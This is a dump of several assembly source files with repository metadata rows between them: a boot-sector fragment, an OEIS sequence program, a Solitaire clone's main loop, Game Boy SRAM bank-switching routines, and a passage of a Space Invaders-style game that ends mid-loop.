MSG_REAL_MODE db "Started in 16-bit real mode", 13, 10, 0
MSG_BOOTING_KERNEL db "Booting into Royston Vasey kernel", 13, 10, 0
; Zerofill everything up until the last two bytes
times 510-($-$$) db 0
; Insert two byte MBR signature
dw 0xaa55 | 21.268657 | 82 | 0.729825 |
a33ea2a6477518225bc4b9babba3e22642c162e6 | 705 | asm | Assembly | oeis/042/A042118.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/042/A042118.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/042/A042118.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A042118: Numerators of continued fraction convergents to sqrt(584).
; Submitted by Jon Maiga
; 24,145,6984,42049,2025336,12194065,587340456,3536236801,170326706904,1025496478225,49394157661704,297390442448449,14324135395187256,86242202813571985,4153949870446642536,25009941425493427201,1204631138294131148184,7252796771190280316305,349338876155427586330824,2103286053703755798301249,101307069453935705904790776,609945702777317991227045905,29378700802765199284802994216,176882150519368513700045011201,8519721925732453856886963531864,51295213704914091655021826202385
add $0,1
mov $3,1
lpb $0
sub $0,1
add $2,$3
mov $3,$1
mov $1,$2
dif $2,8
mul $2,48
lpe
mul $3,2
add $3,$2
mov $0,$3
div $0,2
| 37.105263 | 471 | 0.832624 |
36281950cbcd5e4c19e2fa28f1d19668bfe78db0 | 12,302 | asm | Assembly | src/demo/solitaire.asm | Lasoloz/aengine | 8d16bc633a186ecb431df97272e50d970facddb5 | [
"MIT"
] | 2 | 2017-01-17T17:36:11.000Z | 2018-10-27T15:52:27.000Z | src/demo/solitaire.asm | Lasoloz/aengine | 8d16bc633a186ecb431df97272e50d970facddb5 | [
"MIT"
] | null | null | null | src/demo/solitaire.asm | Lasoloz/aengine | 8d16bc633a186ecb431df97272e50d970facddb5 | [
"MIT"
] | null | null | null | ;
; Copyright (c) 2016-2017 Heim László
;
; Solitaire written in assembly
; This application is also part of aengine library, being a demo application
;
; Main file of source code
;
%include 'third-party/io.inc' ; Message output
%include 'third-party/gfx.inc' ; Event handling
%include 'include/graphics/render.inc' ; For rendering functions
%include 'include/graphics/fonts.inc' ; For text rendering
%include 'include/graphics/sprite.inc' ; For image handling
%include 'include/demo/cards.inc' ; Card image caching
global main
section .text
menuproc:
; Menu state process
push eax
push ebx
push ecx
mov eax, msg_enterMenuState
call io_writestr
call io_writeln
xor ecx, ecx
; Load up menu images
; Background
mov eax, menu_backg
call spr_load_gimp_ppm
test eax, eax
jz .alloc_failure
mov [menu_sprites+ecx*4], eax
inc ecx
; Start item state 0
mov eax, menu_start0
call spr_load_gimp_ppm
test eax, eax
jz .alloc_failure
mov [menu_sprites+ecx*4], eax
inc ecx
; Start item state 1
mov eax, menu_start1
call spr_load_gimp_ppm
test eax, eax
jz .alloc_failure
mov [menu_sprites+ecx*4], eax
inc ecx
; Highscore item state 0
mov eax, menu_highs0
call spr_load_gimp_ppm
test eax, eax
jz .alloc_failure
mov [menu_sprites+ecx*4], eax
inc ecx
; Highscore item state 1
mov eax, menu_highs1
call spr_load_gimp_ppm
test eax, eax
jz .alloc_failure
mov [menu_sprites+ecx*4], eax
inc ecx
; Exit item state 0
mov eax, menu_exitg0
call spr_load_gimp_ppm
test eax, eax
jz .alloc_failure
mov [menu_sprites+ecx*4], eax
inc ecx
; Highscore item state 1
mov eax, menu_exitg1
call spr_load_gimp_ppm
test eax, eax
jz .alloc_failure
mov [menu_sprites+ecx*4], eax
inc ecx
push ecx
xor ecx, ecx
; Start menu loop
.rendermenuloop:
; Render menu
.readeventsloop:
; Read events
call gfx_getevent
test eax, eax
jz .readeventsexit
cmp eax, 23
je .quitapp
cmp eax, 27
je .quitapp
cmp eax, 'w'
je .moveup
cmp eax, 's'
je .movedown
cmp eax, 'p'
je .selected
jmp .readeventsloop
.moveup:
; Move up selection
dec ecx
cmp ecx, 0
jge .readeventsloop
mov ecx, 2
jmp .readeventsloop
.movedown:
; Move down selection
inc ecx
cmp ecx, 3
jl .readeventsloop
mov ecx, 0
jmp .readeventsloop
.selected:
; Check selection
cmp ecx, 0
je .playgame
cmp ecx, 1
je .highscores
mov edx, -1
jmp .readeventsloop
.playgame:
mov edx, 1
jmp .readeventsloop
.highscores:
mov edx, 2
jmp .readeventsloop
.readeventsexit:
test edx, edx
jnz .exitnormal ; edx was modified, so we want to exit
; Back to render loop
mov eax, 0x00ffffff
call render_clear
; Render background
mov eax, [menu_sprites]
mov ebx, 0x00000000
call render_copyspr
; Render menu items
; Play game item
mov ebx, 0x00200100
cmp ecx, 0
je .0sel
mov eax, [menu_sprites+4]
jmp .end0
.0sel:
mov eax, [menu_sprites+8]
.end0:
call render_copyspr
; Highscores item
mov ebx, 0x0020015a
cmp ecx, 1
je .1sel
mov eax, [menu_sprites+12]
jmp .end1
.1sel:
mov eax, [menu_sprites+16]
.end1:
call render_copyspr
; Exit item
mov ebx, 0x002001b4
cmp ecx, 2
je .2sel
mov eax, [menu_sprites+20]
jmp .end2
.2sel:
mov eax, [menu_sprites+24]
.end2:
call render_copyspr
; Render framebuffer content
call render_show
jmp .rendermenuloop
.quitapp:
mov edx, -1 ; Exit requested
.exitnormal:
pop ecx
; Exit normally
.dealloc_loop0:
mov eax, [menu_sprites+ecx*4-4]
call spr_delete
loop .dealloc_loop0
; Restore registers
pop ecx
pop ebx
pop eax
ret
.alloc_failure:
; Dealloc images
test ecx, ecx
jz .exiterror
.dealloc_loop1:
mov eax, [menu_sprites+ecx*4-4]
call spr_delete
loop .dealloc_loop1
.exiterror:
mov edx, -1 ; Exit game due memory error
; Restore registers
pop ecx
pop ebx
pop eax
ret
gameproc:
; Game state
push eax
push ebx
push ecx
mov eax, msg_enterGameState
call io_writestr
call io_writeln
; NOW: Test card caching functions
.render_test_loop:
.eventloop:
call gfx_getevent
test eax, eax
jz .eventloopexit
cmp eax, 23
je .change_edx0
cmp eax, 27
je .change_edx1
jmp .eventloop
.change_edx0:
mov edx, -1
jmp .eventloop
.change_edx1:
xor edx, edx
jmp .eventloop
.eventloopexit:
cmp edx, 0
jle .render_exit
mov eax, 0x00ffffff
call render_clear
mov ecx, 52
mov ebx, 0x00000010
xor eax, eax
.card_render_loop:
call card_renderCard
inc eax
add ebx, 0x000d0000
loop .card_render_loop
; Render card back too
mov ebx, 0x000000d0
call card_renderCardBack
call render_show
jmp .render_test_loop
.render_exit:
; Exiting rendering
pop ecx
pop ebx
pop eax
ret
scoreproc:
; No score processing currently!
push eax
mov eax, msg_enterHScrState
call io_writestr
call io_writeln
pop eax
ret
main:
; Initialize fonts
mov eax, msg_initFonts
call io_writestr
call io_writeln
; Set font path
mov eax, fonts_relative_path
call font_loadFonts
jc .font_error
; Success
mov eax, msg_initFsuccess
call io_writestr
call io_writeln
; Initialize cards
mov eax, msg_initCards
call io_writestr
call io_writeln
; Set card path
mov eax, cards_relative_path
call card_loadCards
jc .cards_error
; Success
mov eax, msg_initCsuccess
call io_writestr
call io_writeln
; Create window
mov eax, msg_createWin
call io_writestr
call io_writeln
; Set up window properties
mov eax, [width]
mov ebx, [height]
mov ecx, 1
mov edx, title
call render_createWindow
jc .win_error
; Success
mov eax, msg_createWsuccess
call io_writestr
call io_writeln
; Enter state selection loop
; States:
; 0 - Menu state, 1 - Game state, 2 - Highscore state
mov eax, msg_enterStateSelL
call io_writestr
call io_writeln
; Set up state
xor edx, edx
.stateloop:
; State loop:
test edx, edx
jz .menustart
cmp edx, 1
je .gamestart
cmp edx, 2
je .highscore
; Menu returned other number, so exit is requested
jmp .exitgame
.menustart:
; Start menu state
call menuproc
jmp .stateloop
.gamestart:
; Start a game
call gameproc
jmp .stateloop
.highscore:
; Start highscore state
call scoreproc
xor edx, edx ; Return to menu after game loop
jmp .stateloop
.exitgame:
; Exit application
mov eax, msg_exit
call io_writestr
call io_writeln
call render_destroyWindow
call font_free
; Game exit #0 - without error
ret
.win_error:
; Exit application due window creation error
mov eax, msg_createWfailure
call io_writestr
call io_writeln
call card_free
call font_free
; Game exit #1 - window error
ret
.cards_error:
mov eax, msg_initCfailure
call io_writestr
call io_writeln
call font_free
; Game exit #2 - card load error
ret
.font_error:
mov eax, msg_initFfailure
call io_writestr
call io_writeln
; Game exit #3 - font load error
ret
section .bss
; Menu sprite cache
menu_sprites resd 7
section .data
; State messages
msg_initFonts db 'Initializing fonts...', 0
msg_initFsuccess db 'Fonts initialized successfully!', 0
msg_initFfailure db 'Could not initialize fonts!', 0
msg_initCards db 'Initializing cards...', 0
msg_initCsuccess db 'Cards initialized successfully!', 0
msg_initCfailure db 'Could not load cards!', 0
msg_createWin db 'Creating window...', 0
msg_createWsuccess db 'Window created successfully!', 0
msg_createWfailure db 'Could not create window!', 0
msg_enterStateSelL db 'Entering state selection loop...', 0
msg_enterMenuState db 'Entering menu state...', 0
msg_enterGameState db 'Entering game state...', 0
msg_enterHScrState db 'Entering highscore menu state...', 0
msg_exit db 'Exiting application...', 0
; Window data
width dd 1364
height dd 768
title db 'Solitaire clone by Heim Laszlo', 0
; Font data
fonts_relative_path db '..\resources\fonts\', 0
; Card data
cards_relative_path db '..\resources\cards\', 0
; Menu filenames
menu_backg db '..\resources\background.ppm', 0
menu_start0 db '..\resources\start0.ppm', 0
menu_start1 db '..\resources\start1.ppm', 0
menu_highs0 db '..\resources\highs0.ppm', 0
menu_highs1 db '..\resources\highs1.ppm', 0
menu_exitg0 db '..\resources\exitg0.ppm', 0
menu_exitg1 db '..\resources\exitg1.ppm', 0
| 22.823748 | 76 | 0.485287 |
a6df1f0000ba50f1df8eade9eef9a0fd278db144 | 1,947 | asm | Assembly | sav/engine/bankswitch.asm | zzazzdzz/fools2019 | a0e9b7a100c13a9f08d202c90ca52498ae1d769b | [
"MIT"
] | 12 | 2018-10-26T12:00:31.000Z | 2020-06-10T01:10:35.000Z | sav/engine/bankswitch.asm | stranck/fools2019 | d589aa20b554a6c88f437c56091baf27b325f104 | [
"MIT"
] | 3 | 2019-03-07T14:25:42.000Z | 2019-03-09T23:17:02.000Z | sav/engine/bankswitch.asm | stranck/fools2019 | d589aa20b554a6c88f437c56091baf27b325f104 | [
"MIT"
] | 8 | 2019-01-17T16:04:47.000Z | 2021-10-21T01:11:40.000Z | ; *** bankswitch.asm
; Functions related to SRAM bank management.
; All of these routines are copied to $D920.
SwitchToSRA2 equs "($d920 + (_SwitchToSRA2 - BankswitchCode))"
SwitchToSRA3 equs "($d920 + (_SwitchToSRA3 - BankswitchCode))"
SwitchSRAMBank equs "($d920 + (_SwitchSRAMBank - BankswitchCode))"
LdFromSRAMBank equs "($d920 + (_LdFromSRAMBank - BankswitchCode))"
CallInSRAMBank equs "($d920 + (_CallInSRAMBank - BankswitchCode))"
PrepareSRAMCall equs "($d920 + (_PrepareSRAMCall - BankswitchCode))"
wCallInSRAMBankPtr equs "($d920 + (_wCallInSRAMBankPtr - BankswitchCode))"
wCallInSRAMBankWhich equs "($d920 + (_wCallInSRAMBankWhich - BankswitchCode))"
wCallInSRAMBankParent equs "($d920 + (_wCallInSRAMBankParent - BankswitchCode))"
BankswitchCode:
; Switches to SRAM bank in A
; (Includes dedicated parameterless functions to switch to SRA2/SRA3)
_SwitchToSRA2:
ld a, 2
_SwitchSRAMBank:
ld [wCurrentSRAMBank], a
ld [$4000], a
ld a, $0a
ld [$0000], a
ret
_SwitchToSRA3:
ld a, 3
jr _SwitchSRAMBank
; Loads an 8-bit value from HL at SRAM bank in A
; Returns in C
_LdFromSRAMBank:
call SwitchSRAMBank
ld c, [hl]
ld a, 2
jr _SwitchSRAMBank
; Prepare CallInSRAMBank - make it execute DE in bank A
; Self modifying code is used to preserve WRAM space
_PrepareSRAMCall:
ld [wCallInSRAMBankWhich], a
ld hl, wCallInSRAMBankPtr
ld [hl], e
inc hl
ld [hl], d
ret
; Executes the function set up by CallInSRAMBank
; Makes sure to preserve the caller's SRAM bank
_CallInSRAMBank:
push af
db $3e ; ld a, ...
_wCallInSRAMBankWhich:
db 0
call SwitchSRAMBank
pop af
db $cd ; call ...
_wCallInSRAMBankPtr:
dw 0
db $3e ; ld a, ...
_wCallInSRAMBankParent:
db 2
jr _SwitchSRAMBank
; Copies the bank management routines to WRAM at $D920
PrepareBankswitchCode:
ld bc, 52
ld hl, BankswitchCode
ld de, $d920
jp CopyBytes | 25.285714 | 80 | 0.705701 |
0eefb751a3e7a9129bfb09934c5e1eab76cf4cc7 | 34,009 | asm | Assembly | src/game.asm | cicr99/SpaceInvaders | 565ec449d6504fd86803a17d48307bd54e0b1463 | [
"MIT"
] | 3 | 2021-06-16T01:36:17.000Z | 2021-07-14T08:46:04.000Z | src/game.asm | cicr99/SpaceInvaders | 565ec449d6504fd86803a17d48307bd54e0b1463 | [
"MIT"
] | null | null | null | src/game.asm | cicr99/SpaceInvaders | 565ec449d6504fd86803a17d48307bd54e0b1463 | [
"MIT"
] | null | null | null | %include "video.mac"
%include "keyboard.mac"
%include "map.mac"
%include "move.mac"
%include "shot.mac"
%include "puntuation.mac"
%include "sound.mac"
%include "lethal_line.mac"
section .data
ship_shots_amount db 3
alien_shots_amount db 10
aliens_amount dd 30
weapons_amount db 4
eternal_shot_amount db 1
ultrashots_amount db 3
cartel db "\
@******************************************************************************@\
* _ _ *\
* ___ _ __ __ _ ___ ___ (_) _ __ __ __ __ _ __| | ___ _ __ *\
* / __|| '_ \ / _` | / __| / _ \ | || '_ \ \ \ / / / _` | / _` | / _ \| '__|*\
* \__ \| |_) || (_| || (__ | __/ | || | | | \ v / | (_| || (_| || __/| | *\
* |___/| .__/ \__,_| \___| \___| |_||_| |_| \_/ \__,_| \__,_| \___||_| *\
* |_| *\
* *\
* EASY MODE *\
* *\
* NORMAL MODE *\
* *\
* HARD MODE *\
* *\
* CRAZY MODE *\
* *\
* SPACE SHOOTER Produced by: *\
* *\
* ARCADE Carmen Irene Cabrera *\
* *\
* MULTIPLAYER Enrique Martinez Glez *\
* *\
* MIRROR MODE C-212 *\
* *\
@******************************************************************************@", 0
cartel_game_over db "\
@******************************************************************************@\
* *\
* *\
* *********** *********** * * *********** *\
* * * * ** ** * *\
* * * * * * * * * *\
* * * * * * * * *\
* * ****** *********** * * *********** *\
* * * * * * * * *\
* * * * * * * * *\
* *********** * * * * *********** *\
* *\
* *********** * * *********** *********** *\
* * * * * * * * *\
* * * * * * * * *\
* * * * * * * * *\
* * * * * *********** *********** *\
* * * * * * * * *\
* * * * * * * * *\
* *********** * *********** * * *\
* *\
* *\
* ENTER YOUR NAME: ___ POINTS: *\
* *\
@******************************************************************************@", 0
pause_cartel db "\
@******************************************************************************@\
* _ _ *\
* ___ _ __ __ _ ___ ___ (_) _ __ __ __ __ _ __| | ___ _ __ *\
* / __|| '_ \ / _` | / __| / _ \ | || '_ \ \ \ / / / _` | / _` | / _ \| '__|*\
* \__ \| |_) || (_| || (__ | __/ | || | | | \ v / | (_| || (_| || __/| | *\
* |___/| .__/ \__,_| \___| \___| |_||_| |_| \_/ \__,_| \__,_| \___||_| *\
* |_| *\
* *\
* RESUME *\
* *\
* END THIS GAME *\
* *\
* EXIT *\
* *\
* *\
* *\
* *\
* *\
* *\
* *\
* *\
* *\
* *\
* *\
@******************************************************************************@", 0
section .bss
map resb 8000
ship resd 2
ship2 resd 2
alien resd 90
points resd 2
lives resd 3
surprise_box resd 2
drop_box resb 1 ;bool for dropping the surprise box
timer_box resd 2 ; timer to move the surprise box
timer_for_dropping resd 2 ; timer to drop the box
timer_line resd 2
special_weapons resd 4
current_weapon resd 1
box_destroyed resb 1 ; 0 not destroyed, 1 destroyed
bool_current resb 1 ; 0 there is no current weapon, 1 there is one
;dword function to paint, byte(shield + 6) 0-activated 1-notactivated, dword function to create
shield resd 6 ;ship, ship2
ultrashot resd 6; shots (3), ship
shots resd 6
eternal_shot resd 6
bool_eternal resb 1 ; bool to know whether the eternal shot is activated
lethal_line resd 6
ini_fill_screen resd 2
index_cartel resd 2
ini_wallpaper resd 3
ini_drawables resd 5
index resd 1
end_wallpaper resd 5
name resd 1
punctuation resd 20
new_puntation resd 2
fill_punctuation resd 2
punctuation_drawables resd 5
end_drawables resd 5
pause_drawables resd 5
pause_wallpaper resd 3
living_aliens resd 1
bool_for_random resb 1
random resd 1
;0 easy, 1 medium, 2 hard
;3 crazy_aliens, 4 space_shooter, 5 arcade
;6 two players, 7 mirror_mode
mode resb 1
; shots: function to paint
; shots+4: row, shots+5:col
; shots + 6: bool for crashed
; shots + 7:direction of movement(0 down, 1 up, 2 dru, 3 dlu, 4 right, 5 left)
ship_shots resd 6
ship2_shots resd 6
alien_shots resd 20
wallpaper resd 2
drawables resd 57
actual_power resd 3
timer_alien resd 2
timer_shot resd 2
timer_alien_shooting resd 2
timer_wallpaper_ini resd 2
timer_wallpaper_end resd 2
game_start resb 1
extern clear
extern putc
extern scan
extern calibrate
extern delay
; Bind a key to a procedure
%macro bind 2
cmp byte [esp], %1
jne %%next
call %2
%%next:
%endmacro
;%1 tecla, %2 macro that move, %3object to move
%macro bind_move 3
cmp byte [esp], %1
jne %%next
%2 %3
%%next:
%endmacro
%macro bind_input_letter 2
cmp byte [esp], %1
jne %%next
push name
push word %1
%2
add esp, 6
%%next:
%endmacro
; Fill the screen with the given background color
%macro FILL_SCREEN 1
push word %1
call clear
add esp, 2
%endmacro
section .text
global game
game:
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
mov ecx, 10
ini_punctuation:
mov eax, ecx
mov ebx, 8
mul ebx
mov [punctuation + eax - 8], dword 0
mov [punctuation + eax - 4], dword 0
loop ini_punctuation
mov [punctuation], dword ' YO '
mov [punctuation + 4], dword 66666
mov [punctuation + 8], dword ' Y '
mov [punctuation + 12], dword 55555
mov [punctuation + 16], dword ' TU '
mov [punctuation + 20], dword 44444
mov [punctuation + 24], dword ' NO!'
mov [punctuation + 28], dword 33333
start_game:
mov [name], dword 0
; Initialize game
FILL_SCREEN BG.BLACK
; Calibrate the timing
call calibrate
;jmp punctuation_screen
mov [game_start], byte 0
mov [ini_fill_screen], dword fill_map
mov [ini_wallpaper], dword fill_ini_screen
mov [ini_wallpaper + 4], dword cartel
mov [ini_wallpaper + 8], byte 1
mov [index_cartel], dword paint_cartel
mov [index_cartel + 4], dword index
mov [index], byte 8
mov [index + 1], byte 8
mov [index + 2], byte 22
mov [ini_drawables], dword ini_fill_screen
mov [ini_drawables + 4], dword index_cartel
mov [ini_drawables + 8], dword ini_wallpaper
intro_game_loop:
call get_input_first_screen
cmp [game_start], byte 1
je game_loop_beging
push dword 1000
push timer_wallpaper_ini
call delay
add esp, 8
cmp eax, 0
jne change_wallpaper_ini
ret_change_walpaper_ini:
REFRESH_MAP map, ini_drawables, 3
PAINT_MAP map
jmp intro_game_loop
game_loop_beging:
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
xor esi, esi
xor edi, edi
mov [living_aliens], dword 30
mov [bool_for_random], byte 1
mov al, byte [index]
mov ebx, 2
div ebx
sub eax, 4
mov [mode], al
xor eax, eax
xor ebx, ebx
xor edx, edx
;initializing aliens of type 1
mov ecx, 10
mov eax, alien
mov dl, 3
ciclo:
mov [eax], dword paint_alien
mov [eax + 4], byte 3
mov [eax + 5], dl
mov [eax + 6], byte 0
mov [eax + 7], byte 1
mov [eax + 8], byte 1
mov [eax + 9], word 300
add edx, 8
add eax, 12
loop ciclo
xor edx, edx
xor eax, eax
;initializing aliens of type 2
mov ecx, 10
mov eax, alien
add eax, 120
mov dl, 3
ciclo4:
mov [eax], dword paint_alien
mov [eax + 4], byte 5
mov [eax + 5], dl
mov [eax + 6], byte 0
mov [eax + 7], byte 1
mov [eax + 8], byte 2
mov [eax + 9], word 200
add edx, 8
add eax, 12
loop ciclo4
xor edx, edx
xor eax, eax
;initializing aliens of type 3
mov ecx, 10
mov eax, alien
add eax, 240
mov dl, 3
ciclo5:
mov [eax], dword paint_alien
mov [eax + 4], byte 7
mov [eax + 5], dl
mov [eax + 6], byte 0
mov [eax + 7], byte 1
mov [eax + 8], byte 3
mov [eax + 9], word 100
add edx, 8
add eax, 12
loop ciclo5
xor edx, edx
xor eax, eax
xor ecx, ecx
;initializing ship_shots and alien_shots
mov eax, ship_shots
mov ebx, ship2_shots
mov cl, [ship_shots_amount]
init_ship_shots:
mov [eax], dword paint_shot
mov [ebx], dword paint_shot
mov [eax + 6], byte 1
mov [ebx + 6], byte 1
add eax, 8
add ebx, 8
loop init_ship_shots
xor ecx, ecx
xor eax, eax
xor ebx, ebx
mov eax, alien_shots
mov cl, [alien_shots_amount]
init_alien_shots:
mov [eax], dword paint_shot
mov [eax + 6], byte 1
add eax, 8
loop init_alien_shots
mov [drawables], dword wallpaper
mov [drawables + 4], dword ship
;moving aliens to drawables
mov ecx, 30
mov edx, drawables
add edx, 8
mov eax, alien
mov ebx, 0
ciclo3:
mov [edx + ebx], dword eax
add eax, 12
add ebx, 4
loop ciclo3
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
;moving shots to drawables
mov eax, ship_shots
mov ebx, drawables
mov edx, 128
mov cl, [ship_shots_amount]
m_ship_shots:
mov [ebx + edx], eax
add eax, 8
add edx, 4
loop m_ship_shots
mov eax, ship2_shots
mov ebx, drawables
xor ecx, ecx
mov cl, [ship_shots_amount]
m_ship2_shots:
mov [ebx + edx], eax
add eax, 8
add edx, 4
loop m_ship2_shots
xor ecx, ecx
mov eax, alien_shots
mov cl, [alien_shots_amount]
m_alien_shots:
mov [ebx + edx], eax
add eax, 8
add edx, 4
loop m_alien_shots
;initializing other things
mov [wallpaper], dword fill_map
mov [ship], dword paint_ship
mov [ship + 4], byte 0b0001_1000
mov [ship + 5], byte 0b0011_0010
mov [ship2], dword paint_ship2
mov [ship2 + 4], byte 0b0001_1000
mov [ship2 + 5], byte 0b0001_0100
call decide_mode_lives
mov [points], dword paint_points
mov [points + 4], dword 0
mov [drawables + 192], dword points
mov [lives], dword paint_lives
mov [lives + 4], dword ship
mov [lives + 8], dword ship2
mov [drawables + 196], dword lives
mov [drawables + 200], dword ship2
mov [surprise_box], dword paint_box
mov [surprise_box + 6], byte 1
mov [drawables + 204], dword surprise_box
mov [drop_box], byte 1
mov [box_destroyed], byte 0
mov [shield], dword paint_shield
mov [shield + 6], byte 1
mov [shield + 20], byte 'S'
mov [shield + 21], byte 8
mov [shield + 8], dword create_shield
mov [shield + 12], dword ship
mov [shield + 16], dword ship2
mov [ultrashot], dword paint_ultrashot
mov [ultrashot + 6], byte 1
mov [ultrashot + 20], byte 'U'
mov [ultrashot + 21], byte 5
mov [ultrashot + 8], dword create_ultrashot
mov [ultrashot + 12], dword shots
mov [ultrashot + 16], dword ship
mov [shots], dword paint_shot
mov [shots + 8], dword paint_shot
mov [shots + 16], dword paint_shot
mov [eternal_shot], dword paint_eternal_shot
mov [eternal_shot + 6], byte 1
mov [eternal_shot + 20], byte 'E'
mov [eternal_shot + 21], byte 4
mov [eternal_shot + 8], dword create_eternal_shot
mov [eternal_shot + 12], dword ship
mov byte [bool_eternal], 0
mov [lethal_line], dword paint_lethal_line
mov [lethal_line + 6], byte 1
mov [lethal_line + 8], dword create_lethal_line
mov [lethal_line + 20], byte 'L'
mov [lethal_line + 21], byte 3
mov [special_weapons], dword shield
mov [special_weapons + 4], dword ultrashot
; mov [special_weapons], dword ultrashot
; mov [special_weapons + 4], dword ultrashot
mov [special_weapons + 8], dword eternal_shot
; mov [special_weapons + 8], dword ultrashot
mov [special_weapons + 12], dword lethal_line
mov [bool_current], byte 0
mov [drawables + 208], dword shield
mov [drawables + 212], dword ultrashot
mov [drawables + 216], dword eternal_shot
mov [drawables + 220], dword lethal_line
mov [drawables + 224], dword actual_power
mov [actual_power], dword paint_actual_power
mov [actual_power + 4], dword current_weapon
mov [actual_power + 8], dword bool_current
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
;jmp game_over_screen
; Main loop
game.loop:
.input:
call get_input
cmp [game_start], byte 11;pause
je pause_screen
return_from_pause:
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
;moving all the shots
push dword 70
push timer_shot
call delay
add esp, 8
cmp eax, 0
jne move_all_shots
move_shots_ret:
DESTROY_SHOTS bool_eternal, points, alien_shots_amount, ship_shots_amount, alien_shots, ship_shots
DESTROY_SHOTS bool_eternal, points, alien_shots_amount, ship_shots_amount, alien_shots, ship2_shots
DESTROY_SHOTS bool_eternal, points, alien_shots_amount, ultrashots_amount, alien_shots, shots
DESTROY_ALIEN bool_eternal, points, living_aliens, alien, ship_shots, ship_shots_amount
DESTROY_ALIEN bool_eternal, points, living_aliens, alien, ship2_shots, ship_shots_amount
DESTROY_ALIEN bool_eternal, points, living_aliens, alien, shots, ultrashots_amount
DESTROY_SHIP shield, alien_shots_amount, alien_shots, ship
DESTROY_SHIP shield, alien_shots_amount, alien_shots, ship2
ANNIHILATE living_aliens, alien, lethal_line
cmp byte [eternal_shot + 6], 1
je not_eternal
mov byte [bool_eternal], 1
DESTROY_ALIEN bool_eternal, points, living_aliens, alien, eternal_shot, eternal_shot_amount
DESTROY_SHOTS bool_eternal, points, alien_shots_amount, eternal_shot_amount, alien_shots, eternal_shot
DESTROY_BOX bool_eternal, box_destroyed, eternal_shot_amount, eternal_shot, surprise_box
mov byte [bool_eternal], 0
not_eternal:
cmp [ship + 6], byte 0
je ship1_dead
ret_ship1_dead:
cmp [living_aliens], dword 0
je game_over_screen
pusha
mov ecx, 30
mov esi, alien
check_last_row_aliens:
cmp [esi + 6], byte 1
je next_check
cmp [esi + 4], byte 24
je game_over_screen
next_check:
add esi, 12
loop check_last_row_aliens
popa
; aliens velocity of movement
xor eax, eax
call decide_aliens_velocity
push eax
push timer_alien
call delay
add esp, 8
mov ecx, 30
mov esi, alien
cmp eax, 0
jne decide_alien_movement
move_alien_ret:
call infinite_move
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
; lethal line activity
cmp byte [lethal_line + 6], 0
jne not_line
push dword 3000
push timer_line
call delay
add esp, 8
cmp eax, 0
jne deactivate
deactivate_ret:
not_line:
; random shots for the aliens
cmp byte[bool_for_random], 1
jne timer
rdtsc
xor edx, edx
mov [bool_for_random], byte 0
xor ebx, ebx
mov bl, [living_aliens]
div ebx
mov [random], edx
push dword [random]
call alien_shooting
add esp, 4
cmp byte [mode], 4
je intelligent_aliens
xor edx, edx
mov dl, [alien_shots_amount]
CREATE_SHOT edx, alien_shots, dword 0, eax
intelligent_aliens_ret:
timer:
xor eax, eax
call timer_for_shooting
push eax
push timer_alien_shooting
call delay
add esp, 8
cmp eax, 0
je continue3
mov [bool_for_random], byte 1
continue3:
; random for dropping the surprise boxes
cmp byte [drop_box], 1
je random_dropping
random_dropping_end:
push dword 500
push timer_box
call delay
add esp, 8
cmp eax, 0
jne move_box
move_box_end:
DESTROY_BOX bool_eternal, box_destroyed, ship_shots_amount, ship_shots, surprise_box
DESTROY_BOX bool_eternal, box_destroyed, ship_shots_amount, ship2_shots, surprise_box
DESTROY_BOX bool_eternal, box_destroyed, ultrashots_amount, shots, surprise_box
cmp byte [drop_box], 0
je check_status
check_end:
cmp byte [box_destroyed], 1
je generate_weapon
generate_weapon_end:
REFRESH_MAP map, drawables, 57
PAINT_MAP map
;call draw.green
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
; Main loop.
; Here is where you will place your game logic.
; Develop procedures like paint_map and update_content,
; declare it extern and use here.
jmp game.loop
ship1_dead:
cmp [ship2 + 6], byte 0
je game_over_screen
jmp ret_ship1_dead
pause_screen:
mov [ini_fill_screen], dword fill_map
mov [pause_wallpaper], dword fill_ini_screen
mov [pause_wallpaper + 4], dword pause_cartel
mov [pause_wallpaper + 8], byte 1
mov [index_cartel], dword paint_cartel
mov [index_cartel + 4], dword index
mov [index], byte 8
mov [index + 1], byte 8
mov [index + 2], byte 12
mov [pause_drawables], dword ini_fill_screen
mov [pause_drawables + 4], dword index_cartel
mov [pause_drawables + 8], dword pause_wallpaper
pause_screen_loop:
call get_input_pause_screen
cmp [game_start], byte 20
je decide_pause
push dword 1000
push timer_wallpaper_ini
call delay
cmp eax, 0
jne change_wallpaper_ini2
ret_change_walpaper_ini2:
add esp, 8
REFRESH_MAP map, pause_drawables, 3
PAINT_MAP map
jmp pause_screen_loop
decide_pause:
cmp [index], byte 8
je return_from_pause
cmp [index], byte 10
je game_over_screen
cmp [index], byte 12
je start_game
punctuation_screen:
mov [ini_fill_screen], dword fill_map
mov [fill_punctuation], dword paint_punctuation
mov [fill_punctuation + 4], dword punctuation
mov [punctuation_drawables], dword ini_fill_screen
mov [punctuation_drawables + 4], dword fill_punctuation
punctuation_screen_loop:
call get_input_puntation_screen
cmp [game_start], byte 10
je start_game
REFRESH_MAP map, punctuation_drawables, 2
PAINT_MAP map
jmp punctuation_screen_loop
game_over_screen:
mov [ini_fill_screen], dword fill_map
mov [end_wallpaper], dword fill_end_screen
mov [end_wallpaper + 4], dword cartel_game_over
mov [end_wallpaper + 8], byte 1
mov [end_wallpaper + 12], dword name
mov [end_wallpaper + 16], dword points
mov [end_drawables], dword ini_fill_screen
mov [end_drawables + 4], dword end_wallpaper
game_over_screen_loop:
call get_input_game_over_screen
cmp [game_start], byte 0
je punctuation_screen
push dword 1000
push dword timer_wallpaper_end
call delay
cmp eax, 0
jne change_wallpaper_end
ret_change_walpaper_end:
add esp, 8
